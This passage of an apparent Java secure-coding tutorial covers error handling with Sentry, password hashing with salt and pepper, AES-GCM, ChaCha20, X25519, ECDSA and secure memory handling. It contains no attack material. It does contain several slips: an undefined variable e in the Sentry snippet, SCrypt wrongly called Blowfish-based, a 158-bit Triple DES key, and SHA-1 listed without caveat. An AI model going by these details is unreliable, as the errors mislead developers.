    public ResponseEntity<ErrorResponse> handleOrderNotFound(OrderNotFoundException ex) {
        ErrorResponse errorResponse = new ErrorResponse(
                "ORDER_NOT_FOUND",
                "Order with ID " + ex.getOrderId() + " not found"
        );
        return new ResponseEntity<>(errorResponse, HttpStatus.NOT_FOUND);
    }}

    @ExceptionHandler(Exception.class)
    public ResponseEntity<ErrorResponse> handleUnknown(Exception ex) {
        logger.error("An unexpected error occurred: {}", ex.getMessage(), ex);

        ErrorResponse errorResponse = new ErrorResponse(
                "INTERNAL_SERVER_ERROR",
                "An unexpected error occurred. Please try again later."
        );
        return new ResponseEntity<>(errorResponse, HttpStatus.INTERNAL_SERVER_ERROR);
    }
}

Ideally, we should not only log unknown errors, but also use a centralized Error Tracker like Sentry. This will allow us to react in time, especially if the unexpected error is critical:

    @ExceptionHandler(Exception.class)
    public ResponseEntity<ErrorResponse> handleUnknown(Exception ex) {
        logger.error("An unexpected error occurred: {}", ex.getMessage(), ex);

        Sentry.captureException(e);

        ErrorResponse errorResponse = new ErrorResponse(
                "INTERNAL_SERVER_ERROR",
                "An unexpected error occurred. Please try again later."
        );
        return new ResponseEntity<>(errorResponse, HttpStatus.INTERNAL_SERVER_ERROR);
    }

Now let's summarize what we should have understood from here:

You cannot allow technical information to be leaked to users. This will give attackers a greater chance to exploit your system.
Logging errors for further analysis is a good practice, but you should not let sensitive information get into the logs.
Do not generalize errors (e.g. by throwing RuntimeException), but specify them for clear processing.
For rapid response to unexpected errors, it is good practice to use centralized Error trackers.

Secure Cryptography

When we work with sensitive data, we rely on cryptography. For example:
hash data that we don't need to know the original form of (e.g. passwords)
encrypt data that we need to revert to its original form (e.g. data transfers)
sign data that we need to ensure the integrity of (e.g. JWT tokens)

Before we move on to cryptography solutions, remember one golden rule: Do not try to create your own cryptographic algorithm. Leave the cryptography to the cryptographers.

Secure Hashing

When it comes to hashing algorithms, we divide them into fast and slow. We only use fast hashing algorithms where speed is important, such as for signing and verifying the integrity of data. These include:

SHA-256
SHA-1
SHA-3
MD5 - Deprecated for cryptographic operations and is only valid as a noncryptographic checksum.

Slow algorithms are most often used to hash confidential data for later storage, because they are designed to require more processing power (e.g. memory consumption, CPU) to be resistant to types of attacks like brute force:

BCrypt - One of the most popular hashing algorithms, which is most common already in legacy systems. Good, but not resistant to high-performance attacks on specialized devices.
SCrypt - Unlike BCrypt, an algorithm based on Blowfish that is resistant to attacks using parallel computing (e.g. GPUs).
Argon2id - Winner of the Password Hashing Competition (PHC) in 2015 and the most flexible among the described algorithms, which allows to customize the hashing complexity for different security requirements.

Very often, in addition to Brute Force attacks, attackers use Rainbow Hash Tables to retrieve the original data (i.e. passwords) from their hash. These tables contain pre-computed hashes for a wide range of passwords, and while slow hashes make it difficult for the attacker (due to resource consumption), the most effective method of dealing with them is to use Salt and Pepper.

Salt is a randomized set of bytes/symbols, most often at least 16-32 bytes long, that is added to the beginning or end of our data before hashing. It is stored in open form and is unique to each data that we hash.

The Pepper is exactly the same random set of bytes, which unlike Salt is secret and NOT unique for each chunk of data (i.e. 1 pepper for all passwords). It acts as an additional layer of defense and should be kept separate from our data. For example, if an attacker gains access to the password database, not knowing the pepper will make it nearly impossible to retrieve the original passwords.

Secure encryption

Encryption comes in two types - symmetric and asymmetric. While symmetric encryption uses a single key to encrypt and decrypt data, asymmetric encryption has 2 keys: public for data encryption and private for decryption. It is important to use only up-to-date encryption algorithms that are invulnerable to brute force attacks, resistant to ciphertext analysis and simply effective in our realities.

The most secure symmetric algorithms currently available include:

AES with GCM mode (preferably 256 bits), which is often hardware accelerated.
ChaCha20-Poly1305 - A stream cipher, particularly effective compared to AES in scenarios where there is no hardware acceleration for AES.

We can use both of these ciphers with Bouncy Castle:

public class ChaCha20Poly1305Cipher {

    public byte[] encrypt(byte[] key, byte[] nonce, byte[] data) {
        return processCipher(true, key, nonce, data);
    }

    public byte[] decrypt(byte[] key, byte[] nonce, byte[] encrypted) {
        return processCipher(false, key, nonce, encrypted);
    }

    private byte[] processCipher(boolean forEncryption, byte[] key, byte[] nonce, byte[] input) {
        ChaCha20Poly1305 cipher = new ChaCha20Poly1305();
        cipher.init(forEncryption, new ParametersWithIV(new KeyParameter(key), nonce));

        byte[] output = new byte[cipher.getOutputSize(input.length)];
        int len = cipher.processBytes(input, 0, input.length, output, 0);

        try {
            cipher.doFinal(output, len);
        } catch (InvalidCipherTextException e) {
            throw new IllegalStateException("Cipher operation failed", e);
        }

        return output;
    }
}

public class AesGcmCipher {
    private static final int GCM_NONCE_LENGTH = 12;
    private static final int GCM_MAC_SIZE = 128;

    public byte[] encrypt(byte[] key, byte[] nonce, byte[] data) {
        return processCipher(true, key, nonce, data);
    }

    public byte[] decrypt(byte[] key, byte[] nonce, byte[] encrypted) {
        return processCipher(false, key, nonce, encrypted);
    }

    private byte[] processCipher(boolean forEncryption, byte[] key, byte[] nonce, byte[] input) {
        if (nonce.length != GCM_NONCE_LENGTH) {
            throw new IllegalArgumentException("Invalid nonce size for GCM: must be " + GCM_NONCE_LENGTH + " bytes.");
        }

        GCMBlockCipher cipher = new GCMBlockCipher(new AESEngine());
        AEADParameters parameters = new AEADParameters(new KeyParameter(key), GCM_MAC_SIZE, nonce);
        cipher.init(forEncryption, parameters);

        return doFinal(input, cipher);
    }

    private byte[] doFinal(byte[] input, GCMBlockCipher cipher) {
        byte[] output = new byte[cipher.getOutputSize(input.length)];
        int len = cipher.processBytes(input, 0, input.length, output, 0);

        try {
            cipher.doFinal(output, len);
        } catch (InvalidCipherTextException e) {
            throw new IllegalStateException("Cipher operation failed", e);
        }

        return output;
    }
}

In practice, symmetric algorithms are more efficient and faster than asymmetric algorithms, so asymmetric algorithms are often used to exchange symmetric keys or establishing a shared symmetric key. This is where cryptography based on elliptic curves comes into play:

Elliptic Curve Cryptography (ECC)

One of the main uses of ECC is Elliptic Curve Diffie-Hellman (ECDH), which allows two parties to securely agree on a common symmetric key thanks to the mathematical properties of curves. This key is then used to encrypt the data using the faster and more efficient symmetric algorithm we described above. One of the most popular curves for this task is Curve25519 (also known as X25519):

The concept is simple. Each side generates its own key pair: a private key and a public key. The private key remains secret and the public key is passed to the other party. Each party then uses its private key and the opposite party's public key to compute a shared secret.

The computed shared secrets will be the same for both parties, but for an attacker who does not possess the private key of either party, the secret will remain unknown. Elliptic curve key exchange is based on a mathematical operation called scalar multiplication: the client multiplies the server's public key by own private key, and the server multiplies the client's public key by own private key. Due to the peculiarities of curve math, the result of the multiplication will be the same. This is the shared secret.

In fact, we meet this algorithm every day, the same principle is used to exchange keys between client and server when establishing TLS connection.

The implementation of ECDH in Java is very simple, using Bouncy Castle. In the example, we will just generate keys for both parties (the client and server in practice do not know each other's private keys), and calculate the Shared Secret:

public class ECDHKeyAgreementExample {
    private static final SecureRandom SECURE_RANDOM;

    static {
        try {
            SECURE_RANDOM = SecureRandom.getInstanceStrong();
        } catch (NoSuchAlgorithmException e) {
            throw new IllegalStateException(e);
        }
    }

    public static void main(String[] args) throws Exception {
        X25519PrivateKeyParameters clientPrivateKey = new X25519PrivateKeyParameters(SECURE_RANDOM);
        X25519PrivateKeyParameters serverPrivateKey = new X25519PrivateKeyParameters(SECURE_RANDOM);

        X25519PublicKeyParameters clientPublicKey = clientPrivateKey.generatePublicKey();
        X25519PublicKeyParameters serverPublicKey = serverPrivateKey.generatePublicKey();

        // Both of them are same
        byte[] clientSharedSecret = agreeSharedSecret(clientPrivateKey, serverPublicKey);
        byte[] serverSharedSecret = agreeSharedSecret(serverPrivateKey, clientPublicKey);
    }

    private static byte[] agreeSharedSecret(X25519PrivateKeyParameters privateKey, X25519PublicKeyParameters publicKey) {
        X25519Agreement agreement = new X25519Agreement();
        agreement.init(privateKey);

        byte[] sharedSecret = new byte[32]; // length of key
        agreement.calculateAgreement(publicKey, sharedSecret, 0);
        return sharedSecret;
    }
}

When we talk about elliptic curves, we have a private and public key pair, right? So we can use the private key to sign the data, and use the public key to verify its integrity. So we can create signatures using ECDSA (Elliptic Curve Digital Signature Algorithm:

public class ECDSAExample {
    private static final SecureRandom SECURE_RANDOM;

    static {
        try {
            SECURE_RANDOM = SecureRandom.getInstanceStrong();
        } catch (NoSuchAlgorithmException e) {
            throw new IllegalStateException(e);
        }
    }

    public static void main(String[] args) throws Exception {
        KeyPair keyPair = generateECKeyPair();

        String data = "Hello, this is a message to be signed.";
        byte[] dataBytes = data.getBytes(StandardCharsets.UTF_8);

        byte[] signature = signData(dataBytes, keyPair.getPrivate());

        System.out.println("Signature: " + Base64.getEncoder().encodeToString(signature));

        boolean isVerified = verifySignature(dataBytes, signature, keyPair.getPublic());

        System.out.println("Verify signature result: " + isVerified);
    }

    private static KeyPair generateECKeyPair() throws Exception {
        KeyPairGenerator keyPairGenerator = KeyPairGenerator.getInstance("EC");
        keyPairGenerator.initialize(new ECGenParameterSpec("secp256r1"), SECURE_RANDOM);
        return keyPairGenerator.generateKeyPair();
    }

    private static byte[] signData(byte[] data, PrivateKey privateKey) throws Exception {
        Signature signature = Signature.getInstance("SHA256withECDSA");
        signature.initSign(privateKey);
        signature.update(data);

        return signature.sign();
    }

    private static boolean verifySignature(byte[] data, byte[] signature, PublicKey publicKey) throws Exception {
        Signature signatureInstance = Signature.getInstance("SHA256withECDSA");
        signatureInstance.initVerify(publicKey);
        signatureInstance.update(data);

        return signatureInstance.verify(signature);
    }
}

Avoid deprecated and insecure encryption algorithhms

DES - Uses a 56-bit key. This means that for bruteforcing it, you only need to try 2^56 combinations, which in today's reality, would take hours (or even a few minutes).
Triple DES is an attempt to fix the DES short key, where the key size is 158 bits. But because of meet-in-the-middle attacks, the effective key length is only 112 bits. Resulting key sizes are still smaller than current standards (minimum 128 bits, preferably 256 bits), and with more to add, because of its triple encryption, it's just plain slow.
RC4 - This algorithm was used for streaming data encryption. Because of the predictable properties of the first bytes, it allowed you to anticipate part of the key stream.
RSA - Asymmetric encryption algorithm. With modern factorization techniques and computing power, keys smaller than 2048 bits can be cracked (larger keys are only a matter of time). And if a PKCS#1 encryption scheme is used, regardless of key length, there is a high risk for Padding Oracle attacks.

Store sensitive data in memory securely

In the examples where we worked with sensitive information (like passwords), we needed to ensure that we used them correctly in memory.

Let's agree in advance, if you work with passwords, treat them not as String strings, but as a char[] or byte[] arrays. This is primarily to clear our array when we no longer need it, thus protecting us from Data in Use attacks. It is implemented in a simple manner:

public static void destroy(char[] chars) {
    Arrays.fill(chars, '\0');
}

public static void destroy(byte[] bytes) {
    Arrays.fill(bytes, (byte) 0);
}

There is also one important thing to consider. All this data is stored in RAM (RAM), right? When memory is not enough, data that is rarely used can swap'd to disk. Here it is important, in case sensitive data is stored in memory for a long time (let's say we cached it), it should never be swapped to disk. This can lead to a big internal threat if an attacker gets into the server, because disk is much easier to analyze than memory, and even if the data has already been deleted from it, if that memory segment has not been overwritten, it can be recovered.

On UNIX systems, it is realized through memory allocation and mlock settings on them, and from Java, to allocate non-swappable memory, followed by its obfuscation can OWASP Netryx Memory be used:

byte[] data = "sensitive data".getBytes();

SecureMemory memory = new SecureMemory(data.length);
memory.write(data);

// After we wrote data, we can freely clear it
Arrays.fill(data, (byte) 0);

memory.obfuscate();

// Note, `bytes` would be auto destroyed after it leaves lambda.
// You can create a copy of bytes, if needed.
char[] originalSensitive = memory.deobfuscate(bytes -> Bytes.wrap(bytes).toCharArray());

memory.close(); // clears memory when we don't need it anymore

This method is particularly useful for systems with high security requirements.

Conclusion

Following the principles of secure programming is the basis for building a secure application. Security must be integrated at all levels of development, from architecture design to the actual writing of code. No matter how secure the environment on which the application runs, if the application itself is vulnerable, it creates a big threat for the entire system. Conversely, even if the code is secure, a weak architecture or poor infrastructure management can lead to critical vulnerabilities. That's why we discussed creating a strong and secure architecture in Secure & Resilient Design.

Input validation is a key aspect of security. At first glance, this practice may seem simple, but ignoring it can lead to devastating consequences such as injection attacks, XSS and other types of threats. Proper data validation is not only a defense against obvious vulnerabilities, but it is also the first line of defense that helps protect your system from potentially unknown attacks based on malicious user inputs.

Broken Access Control is a top 1 vulnerability, so it's critical to understand access control methods and implement them correctly in your system. And by following the principle of “Secure out of the box” you protect yourself from a potentially fatal error. Moreover, it is not enough just to authenticate & authorize the user, you must also secure the target user as much as possible.

Error states are inevitable in any software, but it is important that they are handled in a way that does not expose potentially damaging information to malicious users, this is a violation of the first principle of the CIA - Confidentiality. Again, gathering information about the target is the very first step in an penetration attempt.

Finally, when dealing with sensitive data, we need to make sure that we only use trusted and up-to-date cryptographic methods to protect it, and that our secrets are handled as securely as possible. That's it!